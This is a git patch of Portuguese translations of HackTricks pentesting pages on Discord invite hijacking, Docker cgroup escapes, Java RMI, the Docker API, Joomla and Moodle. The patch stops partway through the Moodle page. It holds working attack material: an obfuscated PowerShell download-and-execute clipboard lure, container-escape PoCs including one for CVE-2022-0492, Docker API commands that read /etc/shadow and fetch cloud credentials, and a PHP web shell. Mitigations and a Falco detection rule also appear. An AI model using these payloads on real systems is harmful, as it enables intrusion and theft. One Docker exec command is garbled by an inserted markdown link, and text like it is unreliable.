From a40a6cd3046bf27625eb0baf16571cbc5014fec6 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 15:26:50 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/phishing-methodolog --- .../discord-invite-hijacking.md | 14 +- .../docker-release_agent-cgroups-escape.md | 120 ++++++++++++++---- .../1099-pentesting-java-rmi.md | 28 ++-- .../2375-pentesting-docker.md | 24 ++-- .../pentesting-web/joomla.md | 10 +- .../pentesting-web/moodle.md | 6 +- .../low-power-wide-area-network.md | 12 +- 7 files changed, 143 insertions(+), 71 deletions(-) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index afd2471e7..9095bdceb 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -6,11 +6,11 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç ## Tipos de Convite e Risco de Sequestro -| Tipo de Convite | Sequestre? | Condição / Comentários | -|-----------------------|-------------|------------------------------------------------------------------------------------------------------------| +| Tipo de Convite | Sequestreável? | Condição / Comentários | +|-----------------------|----------------|--------------------------------------------------------------------------------------------------------------| | Link de Convite Temporário | ✅ | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. | | Link de Convite Permanente | ⚠️ | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente. | -| Link Personalizado | ✅ | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro. | +| Link Personalizado | ✅ | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro. | ## Etapas de Exploração @@ -24,7 +24,7 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç - Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem). - Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração. 4. Redirecionamento Silencioso -- Usuários que visitam o link antigo são enviados sem problemas para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo. +- Usuários que visitam o link antigo são enviados de forma transparente para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo. ## Fluxo de Phishing via Servidor Discord @@ -44,7 +44,7 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9 `iex (iwr -Uri $url)"`; navigator.clipboard.writeText(cmd); ``` -Esta abordagem evita downloads diretos de arquivos e aproveita elementos de interface familiar para reduzir a suspeita do usuário. +Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI familiares para reduzir a suspeita do usuário. ## Mitigações @@ -55,7 +55,7 @@ Esta abordagem evita downloads diretos de arquivos e aproveita elementos de inte ## Referências -- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ -- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link +- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/) +- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index e400a40fd..d0a775442 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,7 +4,9 @@ **Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo: -Original PoC: +--- + +## PoC Clássica (2019) ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -A prova de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo `release_agent` e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma análise das etapas envolvidas: +A PoC explora o recurso **cgroup-v1** `release_agent`: quando a última tarefa de um cgroup que tem `notify_on_release=1` sai, o kernel (nos **namespaces iniciais no host**) executa o programa cujo caminho está armazenado no arquivo gravável `release_agent`. Como essa execução acontece com **plenos privilégios de root no host**, obter acesso de gravação ao arquivo é suficiente para uma fuga de container. + +### Passo a passo curto e legível + +1. **Preparar um novo cgroup** -1. **Preparar o Ambiente:** -- Um diretório `/tmp/cgrp` é criado para servir como um ponto de montagem para o cgroup. -- O controlador de cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, sugere-se usar o controlador de cgroup `memory` como alternativa. -```shell -mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x -``` -2. **Configurar o Cgroup Filho:** -- Um cgroup filho chamado "x" é criado dentro do diretório cgroup montado. -- As notificações são ativadas para o cgroup "x" escrevendo 1 no seu arquivo notify_on_release. ```shell +mkdir /tmp/cgrp +mount -t cgroup -o rdma cgroup /tmp/cgrp # ou –o memory +mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **Configurar o Agente de Liberação:** -- O caminho do contêiner no host é obtido a partir do arquivo /etc/mtab. -- O arquivo release_agent do cgroup é então configurado para executar um script chamado /cmd localizado no caminho do host adquirido. + +2. **Apontar `release_agent` para um script controlado pelo atacante no host** + ```shell -host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -4. **Criar e Configurar o Script /cmd:** -- O script /cmd é criado dentro do contêiner e é configurado para executar ps aux, redirecionando a saída para um arquivo chamado /output no contêiner. O caminho completo de /output no host é especificado. + +3. **Dropar o payload** + ```shell -echo '#!/bin/sh' > /cmd -echo "ps aux > $host_path/output" >> /cmd -chmod a+x /cmd +cat <<'EOF' > /cmd +#!/bin/sh +ps aux > "$host_path/output" +EOF +chmod +x /cmd ``` -5. **Acionar o Ataque:** -- Um processo é iniciado dentro do cgroup filho "x" e é imediatamente terminado. -- Isso aciona o `release_agent` (o script /cmd), que executa ps aux no host e grava a saída em /output dentro do contêiner. + +4. **Acionar o notificador** + ```shell -sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # adicionar a nós mesmos e sair imediatamente +cat /output # agora contém processos do host ``` + +--- + +## Vulnerabilidade do kernel de 2022 – CVE-2022-0492 + +Em fevereiro de 2022, Yiqi Sun e Kevin Wang descobriram que **o kernel *não* verificava capacidades quando um processo escrevia em `release_agent` no cgroup-v1** (função `cgroup_release_agent_write`). + +Efetivamente, **qualquer processo que pudesse montar uma hierarquia de cgroup (por exemplo, via `unshare -UrC`) poderia escrever um caminho arbitrário em `release_agent` sem `CAP_SYS_ADMIN` no *namespace* de usuário *inicial***. Em um container Docker/Kubernetes configurado por padrão e rodando como root, isso permitiu: + +* escalonamento de privilégios para root no host; ↗ +* fuga de container sem que o container fosse privilegiado. + +A falha foi atribuída como **CVE-2022-0492** (CVSS 7.8 / Alto) e corrigida nas seguintes versões do kernel (e todas as posteriores): + +* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299. + +Commit do patch: `1e85af15da28 "cgroup: Fix permission checking"`. + +### Exploit mínimo dentro de um container +```bash +# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside +apk add --no-cache util-linux # provides unshare +unshare -UrCm sh -c ' +mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c; +echo 1 > /tmp/c/notify_on_release; +echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host +(sleep 1; echo 0 > /tmp/c/cgroup.procs) & +while true; do sleep 1; done +' +``` +Se o kernel for vulnerável, o binário busybox do *host* é executado com acesso total de root. + +### Dureza e Mitigações + +* **Atualize o kernel** (≥ versões acima). O patch agora requer `CAP_SYS_ADMIN` no *namespace* de usuário *inicial* para escrever em `release_agent`. +* **Prefira cgroup-v2** – a hierarquia unificada **removeu completamente o recurso `release_agent`**, eliminando essa classe de escapes. +* **Desative namespaces de usuário não privilegiados** em hosts que não precisam deles: +```shell +sysctl -w kernel.unprivileged_userns_clone=0 +``` +* **Controle de acesso obrigatório**: Políticas do AppArmor/SELinux que negam `mount`, `openat` em `/sys/fs/cgroup/**/release_agent`, ou removem `CAP_SYS_ADMIN`, impedem a técnica mesmo em kernels vulneráveis. +* **Bind-mask somente leitura** para todos os arquivos `release_agent` (exemplo de script Palo Alto): +```shell +for f in $(find /sys/fs/cgroup -name release_agent); do +mount --bind -o ro /dev/null "$f" +done +``` + +## Detecção em tempo de execução + +[`Falco`](https://falco.org/) inclui uma regra embutida desde a v0.32: +```yaml +- rule: Detect release_agent File Container Escapes +desc: Detect an attempt to exploit a container escape using release_agent +condition: open_write and container and fd.name endswith release_agent and +(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and +thread.cap_effective contains CAP_SYS_ADMIN +output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)" +priority: CRITICAL +tags: [container, privilege_escalation] +``` +A regra é acionada em qualquer tentativa de escrita em `*/release_agent` de um processo dentro de um contêiner que ainda possui `CAP_SYS_ADMIN`. + +## Referências + +* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – análise detalhada e script de mitigação. +* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/) + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index dfc986d3d..bc67eecc6 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -4,7 +4,7 @@ ## Informações Básicas -_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202). +_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _Java virtual machine_ chame métodos em um objeto localizado em outra _Java virtual machine_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202). **Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -27,7 +27,7 @@ Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_ O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente. -Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo: +Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _bound name_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _bound name_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -51,7 +51,7 @@ e.printStackTrace(); } } ``` -O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação ao _DGC_ de que o _remote object_ correspondente está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados. +O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o correspondente _remote object_ está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados. Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_: @@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010 [+] [+] RMI server codebase enumeration: [+] -[+] - http://iinsecure.dev/well-hidden-development-folder/ +[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] @@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010 ``` A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas. -Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir a identificação de outras vulnerabilidades: +Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -170,7 +170,7 @@ $ rmg guess 172.17.0.2 9010 [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` -Os métodos identificados podem ser chamados assim: +Métodos identificados podem ser chamados assim: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) @@ -205,7 +205,7 @@ Mais informações podem ser encontradas nestes artigos: - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) -Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui. +Além de adivinhações, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui. ## Interfaces Conhecidas @@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: -[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html -[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi +[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) +[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] @@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: @@ -266,23 +266,23 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan - `port:1099 java` -## Ferramentas +## Tools - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) -## Referências +## References - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) -## Comandos Automáticos HackTricks +## HackTricks Comandos Automáticos ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 7a09353c7..c1d15a108 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -10,7 +10,7 @@ Docker é a **plataforma de ponta** na **indústria de containerização**, lide #### Arquitetura básica do docker -- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**. +- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais a fundo**. - O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados. - [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**. - [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**. @@ -45,7 +45,7 @@ docker system prune -a Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta. -Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra. +Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas às plataformas com as quais se integra. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image @@ -70,12 +70,12 @@ Podman é projetado para ser compatível com a API do Docker, permitindo o uso d **Principais Diferenças** - **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root. -- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker. +- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo o gerenciamento de contêineres por meio de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker. - **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root. -A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando a gestão de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker. +A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando o gerenciamento de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker. -> [!NOTE] +> [!TIP] > Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como: > > ```bash @@ -87,7 +87,7 @@ A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfa ### Informações Básicas -A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/gravar arquivos do ambiente do host. +A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/escrever arquivos do ambiente do host. **Porta padrão:** 2375 ``` @@ -98,7 +98,7 @@ PORT STATE SERVICE #### Manual -Note que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo: +Observe que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version @@ -134,12 +134,12 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** do **docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. +Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos do docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. -> [!NOTE] +> [!TIP] > Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker -**Escalação rápida de privilégios** +**Escalada de privilégios rápida** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` @@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL -curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' +curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'] #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) @@ -190,7 +190,7 @@ Na página a seguir, você pode encontrar maneiras de **escapar de um contêiner ../linux-hardening/privilege-escalation/docker-security/ {{#endref}} -Abusando disso, é possível escapar de um contêiner; você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina: +Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 00be4b89e..8723358fd 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -5,7 +5,7 @@ ### Estatísticas do Joomla -O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e bancos de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública. +O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e dos sistemas de banco de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados através de sua [API](https://developer.joomla.org/about/stats/api.html) pública. ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool @@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org -* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history +* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### Versão @@ -92,18 +92,18 @@ admin:admin ``` ## RCE -Se você conseguiu obter **credenciais de admin**, você pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**. +Se você conseguiu obter **credenciais de admin**, pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**. 1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates. 2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**. -3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Vamos adicionar um **PHP one-liner para ganhar execução de código** da seguinte forma: +3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Adicionaremos um **PHP one-liner para ganhar execução de código** da seguinte forma: 1. **`system($_GET['cmd']);`** 4. **Salvar & Fechar** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` ## De XSS a RCE -- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:** +- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, consulte [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:** - _**Escalação de Privilégios:**_ Cria um usuário no Joomla. - _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla. - _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla. diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index e2a760fb3..2f9cfdd0a 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php 3.10.0-beta [+] Possible interesting urls found: -Static readme file. - 